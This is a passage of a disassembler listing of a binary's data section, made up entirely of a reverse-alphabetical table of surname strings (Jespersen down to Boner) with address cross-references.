.nsp0:00434A70o align 4 aJespersen db 'Jespersen',0 ; DATA XREF: .nsp0:00434A6Co align 4 aJenkins db 'Jenkins',0 ; DATA XREF: .nsp0:00434A68o aJellis db 'Jellis',0 ; DATA XREF: .nsp0:00434A64o align 4 aJeffers db 'Jeffers',0 ; DATA XREF: .nsp0:00434A60o aJay db 'Jay',0 ; DATA XREF: .nsp0:00434A5Co aJarrell db 'Jarrell',0 ; DATA XREF: .nsp0:00434A58o aJarnagin db 'Jarnagin',0 ; DATA XREF: .nsp0:00434A54o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: .nsp0:00434A50o align 10h aJamil db 'Jamil',0 ; DATA XREF: .nsp0:00434A4Co align 4 aJain db 'Jain',0 ; DATA XREF: .nsp0:00434A48o align 10h aJagoe db 'Jagoe',0 ; DATA XREF: .nsp0:00434A44o align 4 aJagger db 'Jagger',0 ; DATA XREF: .nsp0:00434A40o align 10h aJagers db 'Jagers',0 ; DATA XREF: .nsp0:00434A3Co align 4 aJackson db 'Jackson',0 ; DATA XREF: .nsp0:00434A38o aJacenko db 'Jacenko',0 ; DATA XREF: .nsp0:00434A34o aIyer db 'Iyer',0 ; DATA XREF: .nsp0:00434A30o align 10h aIsserman db 'Isserman',0 ; DATA XREF: .nsp0:00434A2Co align 4 aIsbill db 'Isbill',0 ; DATA XREF: .nsp0:00434A28o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: .nsp0:00434A24o align 10h aIsaac db 'Isaac',0 ; DATA XREF: .nsp0:00434A20o align 4 aInniss db 'Inniss',0 ; DATA XREF: .nsp0:00434A1Co align 10h aInamura db 'Inamura',0 ; DATA XREF: .nsp0:00434A18o aIgarashi db 'Igarashi',0 ; DATA XREF: .nsp0:00434A14o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: .nsp0:00434A10o align 10h aIaquinta db 'Iaquinta',0 ; DATA XREF: .nsp0:00434A0Co align 4 aHyde db 'Hyde',0 ; DATA XREF: .nsp0:00434A08o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: .nsp0:00434A04o align 10h aHurtubise db 'Hurtubise',0 ; DATA XREF: .nsp0:00434A00o align 4 aHupp db 'Hupp',0 ; DATA XREF: .nsp0:004349FCo align 4 aHuntington db 'Huntington',0 ; DATA XREF: .nsp0:004349F8o align 10h aHungerford db 'Hungerford',0 ; DATA XREF: .nsp0:004349F4o align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: .nsp0:004349F0o align 4 aHuey db 'Huey',0 ; DATA XREF: .nsp0:004349ECo align 10h aHoy db 'Hoy',0 ; DATA XREF: .nsp0:004349E8o aHoward db 'Howard',0 ; DATA XREF: .nsp0:004349E4o align 4 aHottle db 'Hottle',0 ; DATA XREF: .nsp0:004349E0o align 4 aHostage db 'Hostage',0 ; DATA XREF: .nsp0:004349DCo aHoshida db 'Hoshida',0 ; DATA XREF: .nsp0:004349D8o aHorsley db 'Horsley',0 ; DATA XREF: .nsp0:004349D4o aHopkins db 'Hopkins',0 ; DATA XREF: .nsp0:004349D0o aHooker_0 db 'Hooker',0 ; DATA XREF: .nsp0:004349CCo align 4 aHolzman db 'Holzman',0 ; DATA XREF: .nsp0:004349C8o aHolway db 'Holway',0 ; DATA XREF: .nsp0:004349C4o align 4 aHolter db 'Holter',0 ; DATA XREF: .nsp0:004349C0o align 4 aHoloien db 'Holoien',0 ; DATA XREF: .nsp0:004349BCo aHolmes db 'Holmes',0 ; DATA XREF: .nsp0:004349B8o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: .nsp0:004349B4o align 4 aHokanson db 'Hokanson',0 ; DATA XREF: .nsp0:004349B0o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: .nsp0:004349ACo aHoffer db 'Hoffer',0 ; DATA XREF: .nsp0:004349A8o align 4 aHock db 'Hock',0 ; DATA XREF: .nsp0:004349A4o align 10h aHoang db 'Hoang',0 ; DATA XREF: .nsp0:004349A0o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: .nsp0:0043499Co align 4 aHirst db 'Hirst',0 ; DATA XREF: .nsp0:00434998o align 4 aHind db 'Hind',0 ; DATA XREF: .nsp0:00434994o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: .nsp0:00434990o align 10h aHeyeck db 'Heyeck',0 ; DATA XREF: .nsp0:0043498Co align 4 aHeubert db 'Heubert',0 ; DATA XREF: .nsp0:00434988o aHester db 'Hester',0 ; DATA XREF: .nsp0:00434984o align 4 aHerrera db 'Herrera',0 ; DATA XREF: .nsp0:00434980o aHernandez db 'Hernandez',0 ; DATA XREF: .nsp0:0043497Co align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: .nsp0:00434978o align 4 aHenery db 'Henery',0 ; DATA XREF: .nsp0:00434974o align 10h aHemphill db 'Hemphill',0 ; DATA XREF: .nsp0:00434970o align 4 aHelprin db 'Helprin',0 ; DATA XREF: .nsp0:0043496Co aHellmiss db 'Hellmiss',0 ; DATA XREF: .nsp0:00434968o align 10h aHellman db 'Hellman',0 ; DATA XREF: .nsp0:00434964o aHeiland db 'Heiland',0 ; DATA XREF: .nsp0:00434960o aHeft db 'Heft',0 ; DATA XREF: .nsp0:0043495Co align 4 aHeermans db 'Heermans',0 ; DATA XREF: .nsp0:00434958o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: .nsp0:00434954o align 10h aHaynes db 'Haynes',0 ; DATA XREF: .nsp0:00434950o align 4 aHayes db 'Hayes',0 ; DATA XREF: .nsp0:0043494Co align 10h aHawkes db 'Hawkes',0 ; DATA XREF: .nsp0:00434948o align 4 aHaviaras db 'Haviaras',0 ; DATA XREF: .nsp0:00434944o align 4 aHarwell db 'Harwell',0 ; DATA XREF: .nsp0:00434940o aHartnett db 'Hartnett',0 ; DATA XREF: .nsp0:0043493Co align 4 aHartmann db 'Hartmann',0 ; DATA XREF: .nsp0:00434938o align 4 aHartman db 'Hartman',0 ; DATA XREF: .nsp0:00434934o aHarrigan db 'Harrigan',0 ; DATA XREF: .nsp0:00434930o align 4 aHarlow db 'Harlow',0 ; DATA XREF: .nsp0:0043492Co align 10h aHargraves db 'Hargraves',0 ; DATA XREF: .nsp0:00434928o align 4 aHarding db 'Harding',0 ; DATA XREF: .nsp0:00434924o aHanssen db 'Hanssen',0 ; DATA XREF: .nsp0:00434920o aHand db 'Hand',0 ; DATA XREF: .nsp0:0043491Co align 4 aHammerness db 'Hammerness',0 ; DATA XREF: .nsp0:00434918o align 10h aHamer db 'Hamer',0 ; DATA XREF: .nsp0:00434914o align 4 aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: .nsp0:00434910o align 4 aHalpert db 'Halpert',0 ; DATA XREF: .nsp0:0043490Co aHallowell db 'Hallowell',0 ; DATA XREF: .nsp0:00434908o align 4 aHalkias db 'Halkias',0 ; DATA XREF: .nsp0:00434904o aHaley db 'Haley',0 ; DATA XREF: .nsp0:00434900o align 4 aHackshaw db 'Hackshaw',0 ; DATA XREF: .nsp0:004348FCo align 4 aHackman db 'Hackman',0 ; DATA XREF: .nsp0:004348F8o aHaar db 'Haar',0 ; DATA XREF: .nsp0:004348F4o align 4 aHa db 'Ha',0 ; DATA XREF: .nsp0:004348F0o align 4 aGuo db 'Guo',0 ; DATA XREF: .nsp0:004348ECo aGunn db 'Gunn',0 ; DATA XREF: .nsp0:004348E8o align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: .nsp0:004348E4o align 4 aGruppe db 'Gruppe',0 ; DATA XREF: .nsp0:004348E0o align 4 aGruner db 'Gruner',0 ; DATA XREF: .nsp0:004348DCo align 4 aGrummell db 'Grummell',0 ; DATA XREF: .nsp0:004348D8o align 10h aGrigoletto db 'Grigoletto',0 ; DATA XREF: .nsp0:004348D4o align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: .nsp0:004348D0o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: .nsp0:004348CCo align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: .nsp0:004348C8o align 10h aGravell db 'Gravell',0 ; DATA XREF: .nsp0:004348C4o aGozzi db 'Gozzi',0 ; DATA XREF: .nsp0:004348C0o align 10h aGoody db 'Goody',0 ; DATA XREF: .nsp0:004348BCo align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: .nsp0:004348B8o align 4 aGood_0 db 'Good',0 ; DATA XREF: .nsp0:004348B4o align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: .nsp0:004348B0o align 4 aGoldfarb db 'Goldfarb',0 ; DATA XREF: .nsp0:004348ACo align 4 aGlendon db 'Glendon',0 ; DATA XREF: .nsp0:004348A8o aGlegg db 'Glegg',0 ; DATA XREF: .nsp0:004348A4o align 4 aGleason db 'Gleason',0 ; DATA XREF: .nsp0:004348A0o aGist db 'Gist',0 ; DATA XREF: .nsp0:0043489Co align 4 aGillispie db 'Gillispie',0 ; DATA XREF: .nsp0:00434898o align 10h aGill db 'Gill',0 ; DATA XREF: .nsp0:00434894o align 4 aGili db 'Gili',0 ; DATA XREF: .nsp0:00434890o align 10h aGilbert db 'Gilbert',0 ; DATA XREF: .nsp0:0043488Co aGibson_0 db 'Gibson',0 ; DATA XREF: .nsp0:00434888o align 10h aGibbens db 'Gibbens',0 ; DATA XREF: .nsp0:00434884o aGhorai db 'Ghorai',0 ; DATA XREF: .nsp0:00434880o align 10h aGerrett db 'Gerrett',0 ; DATA XREF: .nsp0:0043487Co aGeorgi db 'Georgi',0 ; DATA XREF: .nsp0:00434878o align 10h aGemberling db 'Gemberling',0 ; DATA XREF: .nsp0:00434874o align 4 aGeller db 'Geller',0 ; DATA XREF: .nsp0:00434870o align 4 aGaronna db 'Garonna',0 ; DATA XREF: .nsp0:0043486Co aGarman db 'Garman',0 ; DATA XREF: .nsp0:00434868o align 4 aGarfield_0 db 'Garfield',0 ; DATA XREF: .nsp0:00434864o align 10h aGambini db 'Gambini',0 ; DATA XREF: .nsp0:00434860o aGalwey db 'Galwey',0 ; DATA XREF: .nsp0:0043485Co align 10h aGaleotti db 'Galeotti',0 ; DATA XREF: .nsp0:00434858o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: .nsp0:00434854o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: .nsp0:00434850o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: .nsp0:0043484Co align 4 aFurth db 'Furth',0 ; DATA XREF: .nsp0:00434848o align 4 aFuller db 'Fuller',0 ; DATA XREF: .nsp0:00434844o align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: .nsp0:00434840o align 4 aFrye db 'Frye',0 ; DATA XREF: .nsp0:0043483Co align 10h aFryberger db 'Fryberger',0 ; DATA XREF: .nsp0:00434838o align 4 aFrowiss db 'Frowiss',0 ; DATA XREF: .nsp0:00434834o aFrisken db 'Frisken',0 ; DATA XREF: .nsp0:00434830o aFriedland db 'Friedland',0 ; DATA XREF: .nsp0:0043482Co align 4 aFried db 'Fried',0 ; DATA XREF: .nsp0:00434828o align 10h aFreundlich db 'Freundlich',0 ; DATA XREF: .nsp0:00434824o align 4 aFreid db 'Freid',0 ; DATA XREF: .nsp0:00434820o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: .nsp0:0043481Co align 4 aFranz db 'Franz',0 ; DATA XREF: .nsp0:00434818o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: .nsp0:00434814o align 4 aFrancisco db 'Francisco',0 ; DATA XREF: .nsp0:00434810o align 4 aFossi db 'Fossi',0 ; DATA XREF: .nsp0:0043480Co align 10h aFossey db 'Fossey',0 ; DATA XREF: .nsp0:00434808o align 4 aFortier db 'Fortier',0 ; DATA XREF: .nsp0:00434804o aFortes db 'Fortes',0 ; DATA XREF: .nsp0:00434800o align 4 aForester db 'Forester',0 ; DATA XREF: .nsp0:004347FCo align 4 aFolks db 'Folks',0 ; DATA XREF: .nsp0:004347F8o align 4 aFlores db 'Flores',0 ; DATA XREF: .nsp0:004347F4o align 4 aFlier db 'Flier',0 ; DATA XREF: .nsp0:004347F0o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: .nsp0:004347ECo aFisk db 'Fisk',0 ; DATA XREF: .nsp0:004347E8o align 10h aFiorina db 'Fiorina',0 ; DATA XREF: .nsp0:004347E4o aFinnegan db 'Finnegan',0 ; DATA XREF: .nsp0:004347E0o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: .nsp0:004347DCo aFink db 'Fink',0 ; DATA XREF: .nsp0:004347D8o align 4 aField_0 db 'Field',0 ; DATA XREF: .nsp0:004347D4o align 10h aFido db 'Fido',0 ; DATA XREF: .nsp0:004347D0o align 4 aFeuer db 'Feuer',0 ; DATA XREF: .nsp0:004347CCo align 10h aFerriell db 'Ferriell',0 ; DATA XREF: .nsp0:004347C8o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: .nsp0:004347C4o align 4 aFernandes db 'Fernandes',0 ; DATA XREF: .nsp0:004347C0o align 4 aFernald db 'Fernald',0 ; DATA XREF: .nsp0:004347BCo aFeldman db 'Feldman',0 ; DATA XREF: .nsp0:004347B8o aFejzo db 'Fejzo',0 ; DATA XREF: .nsp0:004347B4o align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: .nsp0:004347B0o align 4 aFates db 'Fates',0 ; DATA XREF: .nsp0:004347ACo align 10h aFasso db 'Fasso',27h,0 ; DATA XREF: .nsp0:004347A8o align 4 aFarren db 'Farren',0 ; DATA XREF: .nsp0:004347A4o align 10h aFarone db 'Farone',0 ; DATA XREF: .nsp0:004347A0o align 4 aFaris db 'Faris',0 ; DATA XREF: .nsp0:0043479Co align 10h aFalorsi db 'Falorsi',0 ; DATA XREF: .nsp0:00434798o aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: .nsp0:00434794o align 4 aFaioes db 'Faioes',0 ; DATA XREF: .nsp0:00434790o align 10h aFagan db 'Fagan',0 ; DATA XREF: .nsp0:0043478Co align 4 aFabbris db 'Fabbris',0 ; DATA XREF: .nsp0:00434788o aEverett db 'Everett',0 ; DATA XREF: .nsp0:00434784o aEuripides db 'Euripides',0 ; DATA XREF: .nsp0:00434780o align 4 aEtter db 'Etter',0 ; DATA XREF: .nsp0:0043477Co align 4 aEstes db 'Estes',0 ; DATA XREF: .nsp0:00434778o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: .nsp0:00434774o align 10h aErez db 'Erez',0 ; DATA XREF: .nsp0:00434770o align 4 aErdos db 'Erdos',0 ; DATA XREF: .nsp0:0043476Co align 10h aErdman db 'Erdman',0 ; DATA XREF: .nsp0:00434768o align 4 aErbach db 'Erbach',0 ; DATA XREF: .nsp0:00434764o align 10h aEppling db 'Eppling',0 ; DATA XREF: .nsp0:00434760o aEnyeart db 'Enyeart',0 ; DATA XREF: .nsp0:0043475Co aEncinas db 'Encinas',0 ; DATA XREF: .nsp0:00434758o aElvis db 'Elvis',0 ; DATA XREF: .nsp0:00434754o align 10h aElmerick db 'Elmerick',0 ; DATA XREF: .nsp0:00434750o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: .nsp0:0043474Co align 4 aEliasson db 'Eliasson',0 ; DATA XREF: .nsp0:00434748o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: .nsp0:00434744o aEdward db 'Edward',0 ; DATA XREF: .nsp0:00434740o align 4 aEdner db 'Edner',0 ; DATA XREF: .nsp0:0043473Co align 10h aEdley db 'Edley',0 ; DATA XREF: .nsp0:00434738o align 4 aEckel db 'Eckel',0 ; DATA XREF: .nsp0:00434734o align 10h aEbeling db 'Ebeling',0 ; DATA XREF: .nsp0:00434730o aEardley db 'Eardley',0 ; DATA XREF: .nsp0:0043472Co aDwyer db 'Dwyer',0 ; DATA XREF: .nsp0:00434728o align 4 aDussault db 'Dussault',0 ; DATA XREF: .nsp0:00434724o align 4 aDurrett db 'Durrett',0 ; DATA XREF: .nsp0:00434720o aDuffin db 'Duffin',0 ; DATA XREF: .nsp0:0043471Co align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: .nsp0:00434718o aDrinker db 'Drinker',0 ; DATA XREF: .nsp0:00434714o aDowsland db 'Dowsland',0 ; DATA XREF: .nsp0:00434710o align 10h aDoug db 'Doug',0 ; DATA XREF: .nsp0:0043470Co align 4 aDoty db 'Doty',0 ; DATA XREF: .nsp0:00434708o align 10h aDosi db 'Dosi',0 ; DATA XREF: .nsp0:00434704o align 4 aDorf db 'Dorf',0 ; DATA XREF: .nsp0:00434700o align 10h aDore db 'Dore',0 ; DATA XREF: .nsp0:004346FCo align 4 aDoonan db 'Doonan',0 ; DATA XREF: .nsp0:004346F8o align 10h aDonner db 'Donner',0 ; DATA XREF: .nsp0:004346F4o align 4 aDonahue db 'Donahue',0 ; DATA XREF: .nsp0:004346F0o aDoherty db 'Doherty',0 ; DATA XREF: .nsp0:004346ECo aDockery db 'Dockery',0 ; DATA XREF: .nsp0:004346E8o aDirksen db 'Dirksen',0 ; DATA XREF: .nsp0:004346E4o aDionysius db 'Dionysius',0 ; DATA XREF: .nsp0:004346E0o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: .nsp0:004346DCo align 10h aDifronzo db 'Difronzo',0 ; DATA XREF: .nsp0:004346D8o align 4 aDifabio db 'Difabio',0 ; DATA XREF: .nsp0:004346D4o aDiefenbach db 'Diefenbach',0 ; DATA XREF: .nsp0:004346D0o align 10h aDicks db 'Dicks',0 ; DATA XREF: .nsp0:004346CCo align 4 aDFini db 'D',27h,'fini',0 ; DATA XREF: .nsp0:004346C8o align 10h aDeutsch db 'Deutsch',0 ; DATA XREF: .nsp0:004346C4o aDesombre db 'Desombre',0 ; DATA XREF: .nsp0:004346C0o align 4 aDenison db 'Denison',0 ; DATA XREF: .nsp0:004346BCo aDenham db 'Denham',0 ; DATA XREF: .nsp0:004346B8o align 4 aDenault db 'Denault',0 ; DATA XREF: .nsp0:004346B4o aDemusz db 'Demusz',0 ; DATA XREF: .nsp0:004346B0o align 4 aDempster db 'Dempster',0 ; DATA XREF: .nsp0:004346ACo align 10h aDeming db 'Deming',0 ; DATA XREF: .nsp0:004346A8o align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: .nsp0:004346A4o align 4 aDelger db 'Delger',0 ; DATA XREF: .nsp0:004346A0o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .nsp0:0043469Co align 4 aDelattre db 'Delattre',0 ; DATA XREF: .nsp0:00434698o align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: .nsp0:00434694o align 4 aDees db 'Dees',0 ; DATA XREF: .nsp0:00434690o align 4 aDebroff db 'Debroff',0 ; DATA XREF: .nsp0:0043468Co aDerousse db 'deRousse',0 ; DATA XREF: .nsp0:00434688o align 10h aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .nsp0:00434684o align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: .nsp0:00434680o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: .nsp0:0043467Co align 4 aDawkins db 'Dawkins',0 ; DATA XREF: .nsp0:00434678o aDavid db 'David',0 ; DATA XREF: .nsp0:00434674o align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: .nsp0:00434670o aDasgupta db 'Dasgupta',0 ; DATA XREF: .nsp0:0043466Co align 4 aDas db 'Das',0 ; DATA XREF: .nsp0:00434668o aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .nsp0:00434664o aDapice db 'Dapice',0 ; DATA XREF: .nsp0:00434660o align 10h aDante db 'Dante',0 ; DATA XREF: .nsp0:0043465Co align 4 aDanieli db 'Danieli',0 ; DATA XREF: .nsp0:00434658o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .nsp0:00434654o aDaly db 'Daly',0 ; DATA XREF: .nsp0:00434650o align 10h aDaldalian db 'Daldalian',0 ; DATA XREF: .nsp0:0043464Co align 4 aDasilva db 'daSilva',0 ; DATA XREF: .nsp0:00434648o aCyders db 'Cyders',0 ; DATA XREF: .nsp0:00434644o align 4 aCvek db 'Cvek',0 ; DATA XREF: .nsp0:00434640o align 4 aCutler db 'Cutler',0 ; DATA XREF: .nsp0:0043463Co align 4 aCurrier db 'Currier',0 ; DATA XREF: .nsp0:00434638o aCui db 'Cui',0 ; DATA XREF: .nsp0:00434634o aCroxton db 'Croxton',0 ; DATA XREF: .nsp0:00434630o aCroxen db 'Croxen',0 ; DATA XREF: .nsp0:0043462Co align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: .nsp0:00434628o aCrocker db 'Crocker',0 ; DATA XREF: .nsp0:00434624o aCrawford db 'Crawford',0 ; DATA XREF: .nsp0:00434620o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: .nsp0:0043461Co aCounter db 'Counter',0 ; DATA XREF: .nsp0:00434618o aCosmides db 'Cosmides',0 ; DATA XREF: .nsp0:00434614o align 10h aCornish db 'Cornish',0 ; DATA XREF: .nsp0:00434610o aCorey db 'Corey',0 ; DATA XREF: .nsp0:0043460Co align 10h aConnors db 'Connors',0 ; DATA XREF: .nsp0:00434608o aCondodina db 'Condodina',0 ; DATA XREF: .nsp0:00434604o align 4 aConcino db 'Concino',0 ; DATA XREF: .nsp0:00434600o aComstock db 'Comstock',0 ; DATA XREF: .nsp0:004345FCo align 4 aCompton db 'Compton',0 ; DATA XREF: .nsp0:004345F4o ; .nsp0:004345F8o aCollis db 'Collis',0 ; DATA XREF: .nsp0:004345F0o align 4 aCollard db 'Collard',0 ; DATA XREF: .nsp0:004345ECo aColella db 'Colella',0 ; DATA XREF: .nsp0:004345E8o aColdren db 'Coldren',0 ; DATA XREF: .nsp0:004345E4o aCoito db 'Coito',0 ; DATA XREF: .nsp0:004345E0o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: .nsp0:004345DCo aClow db 'Clow',0 ; DATA XREF: .nsp0:004345D8o align 4 aClifton db 'Clifton',0 ; DATA XREF: .nsp0:004345D4o aClement db 'Clement',0 ; DATA XREF: .nsp0:004345D0o aClark db 'Clark',0 ; DATA XREF: .nsp0:004345CCo align 10h aClancy db 'Clancy',0 ; DATA XREF: .nsp0:004345C8o align 4 aClaffey db 'Claffey',0 ; DATA XREF: .nsp0:004345C4o aCifarelli db 'Cifarelli',0 ; DATA XREF: .nsp0:004345C0o align 4 aCicero db 'Cicero',0 ; DATA XREF: .nsp0:004345BCo align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .nsp0:004345B8o align 10h aChurch db 'Church',0 ; DATA XREF: .nsp0:004345B4o align 4 aChupasko db 'Chupasko',0 ; DATA XREF: .nsp0:004345B0o align 4 aChu db 'Chu',0 ; DATA XREF: .nsp0:004345ACo aChristopher db 'Christopher',0 ; DATA XREF: .nsp0:004345A8o aChristie db 'Christie',0 ; DATA XREF: .nsp0:004345A4o align 10h aChristiano db 'Christiano',0 ; DATA XREF: .nsp0:004345A0o align 4 aChristian db 'Christian',0 ; DATA XREF: .nsp0:0043459Co align 4 aChristenson db 'Christenson',0 ; DATA XREF: .nsp0:00434598o aChinman db 'Chinman',0 ; DATA XREF: .nsp0:00434594o aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .nsp0:00434590o aChilds db 'Childs',0 ; DATA XREF: .nsp0:0043458Co align 10h aChildress db 'Childress',0 ; DATA XREF: .nsp0:00434588o align 4 aChien db 'Chien',0 ; DATA XREF: .nsp0:00434584o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: .nsp0:00434580o align 10h aChervinsky db 'Chervinsky',0 ; DATA XREF: .nsp0:0043457Co align 4 aCherry db 'Cherry',0 ; DATA XREF: .nsp0:00434578o align 4 aCheang db 'Cheang',0 ; DATA XREF: .nsp0:00434574o align 4 aCharles_0 db 'Charles',0 ; DATA XREF: .nsp0:00434570o aChapman db 'Chapman',0 ; DATA XREF: .nsp0:0043456Co aCerioli db 'Cerioli',0 ; DATA XREF: .nsp0:00434568o aCeniceros db 'Ceniceros',0 ; DATA XREF: .nsp0:00434564o align 10h aCavell db 'Cavell',0 ; DATA XREF: .nsp0:00434560o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: .nsp0:0043455Co align 4 aCastelda db 'Castelda',0 ; DATA XREF: .nsp0:00434558o align 10h aCaspar db 'Caspar',0 ; DATA XREF: .nsp0:00434554o align 4 aCase db 'Case',0 ; DATA XREF: .nsp0:00434550o align 10h aCascio db 'Cascio',0 ; DATA XREF: .nsp0:0043454Co align 4 aCartmill db 'Cartmill',0 ; DATA XREF: .nsp0:00434548o align 4 aCarper db 'Carper',0 ; DATA XREF: .nsp0:00434544o align 4 aCaroti db 'Caroti',0 ; DATA XREF: .nsp0:00434540o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: .nsp0:0043453Co align 10h aCarlyle db 'Carlyle',0 ; DATA XREF: .nsp0:00434538o aCarlos db 'Carlos',0 ; DATA XREF: .nsp0:00434534o align 10h aCarlin db 'Carlin',0 ; DATA XREF: .nsp0:00434530o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .nsp0:0043452Co aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .nsp0:00434528o aCapursi db 'Capursi',0 ; DATA XREF: .nsp0:00434524o aCappuccio db 'Cappuccio',0 ; DATA XREF: .nsp0:00434520o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: .nsp0:0043451Co align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: .nsp0:00434518o align 10h aCaperton db 'Caperton',0 ; DATA XREF: .nsp0:00434514o align 4 aCapanni db 'Capanni',0 ; DATA XREF: .nsp0:00434510o aCanley db 'Canley',0 ; DATA XREF: .nsp0:0043450Co align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: .nsp0:00434508o align 4 aCammelli db 'Cammelli',0 ; DATA XREF: .nsp0:00434504o align 4 aCalnan db 'Calnan',0 ; DATA XREF: .nsp0:00434500o align 4 aCage db 'Cage',0 ; DATA XREF: .nsp0:004344FCo align 4 aByrd db 'Byrd',0 ; DATA XREF: .nsp0:004344F8o align 4 aByerly db 'Byerly',0 ; DATA XREF: .nsp0:004344F4o align 4 aByatt db 'Byatt',0 ; DATA XREF: .nsp0:004344F0o align 4 aBusetta db 'Busetta',0 ; DATA XREF: .nsp0:004344ECo aBurridge db 'Burridge',0 ; DATA XREF: .nsp0:004344E8o align 10h aBurke db 'Burke',0 ; DATA XREF: .nsp0:004344E4o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: .nsp0:004344E0o align 10h aBurden db 'Burden',0 ; DATA XREF: .nsp0:004344DCo align 4 aBunton db 'Bunton',0 ; DATA XREF: .nsp0:004344D8o align 10h aBullard db 'Bullard',0 ; DATA XREF: .nsp0:004344D4o aBudding db 'Budding',0 ; DATA XREF: .nsp0:004344D0o aBuchan db 'Buchan',0 ; DATA XREF: .nsp0:004344CCo align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: .nsp0:004344C8o aBrook db 'Brook',0 ; DATA XREF: .nsp0:004344C4o align 4 aBroca db 'Broca',0 ; DATA XREF: .nsp0:004344C0o align 10h aBritz db 'Britz',0 ; DATA XREF: .nsp0:004344BCo align 4 aBrinton db 'Brinton',0 ; DATA XREF: .nsp0:004344B8o aBridges db 'Bridges',0 ; DATA XREF: .nsp0:004344B4o aBridgeman db 'Bridgeman',0 ; DATA XREF: .nsp0:004344B0o align 4 aBrewer db 'Brewer',0 ; DATA XREF: .nsp0:004344A8o ; .nsp0:004344ACo align 4 aBrennan db 'Brennan',0 ; DATA XREF: .nsp0:004344A4o aBrenan db 'Brenan',0 ; DATA XREF: .nsp0:004344A0o align 4 aBreed db 'Breed',0 ; DATA XREF: .nsp0:0043449Co align 4 aBrecht db 'Brecht',0 ; DATA XREF: .nsp0:00434498o align 4 aBradach db 'Bradach',0 ; DATA XREF: .nsp0:00434494o aBradac db 'Bradac',0 ; DATA XREF: .nsp0:00434490o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: .nsp0:0043448Co align 4 aBoyne db 'Boyne',0 ; DATA XREF: .nsp0:00434488o align 10h aBoym db 'Boym',0 ; DATA XREF: .nsp0:00434484o align 4 aBoyland db 'Boyland',0 ; DATA XREF: .nsp0:00434480o aBoyes db 'Boyes',0 ; DATA XREF: .nsp0:0043447Co align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: .nsp0:00434478o align 4 aBoxer db 'Boxer',0 ; DATA XREF: .nsp0:00434474o align 4 aBowers db 'Bowers',0 ; DATA XREF: .nsp0:00434470o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: .nsp0:0043446Co align 10h aBoudrot db 'Boudrot',0 ; DATA XREF: .nsp0:00434468o aBoudin db 'Boudin',0 ; DATA XREF: .nsp0:00434464o align 10h aBotosh db 'Botosh',0 ; DATA XREF: .nsp0:00434460o align 4 aBothman db 'Bothman',0 ; DATA XREF: .nsp0:0043445Co aBossi db 'Bossi',0 ; DATA XREF: .nsp0:00434458o align 4 aBorden db 'Borden',0 ; DATA XREF: .nsp0:00434454o align 10h aBorack db 'Borack',0 ; DATA XREF: .nsp0:00434450o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: .nsp0:0043444Co align 4 aBoone db 'Boone',0 ; DATA XREF: .nsp0:00434448o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: .nsp0:00434444o align 4 aBook_0 db 'Book',0 ; DATA XREF: .nsp0:00434440o align 10h aBontempo db 'Bontempo',0 ; DATA XREF: .nsp0:0043443Co align 4 aBoniface db 'Boniface',0 ; DATA XREF: .nsp0:00434438o align 4 aBonham db 'Bonham',0 ; DATA XREF: .nsp0:00434434o align 10h aBoner_0 db 'Boner',0 ; DATA 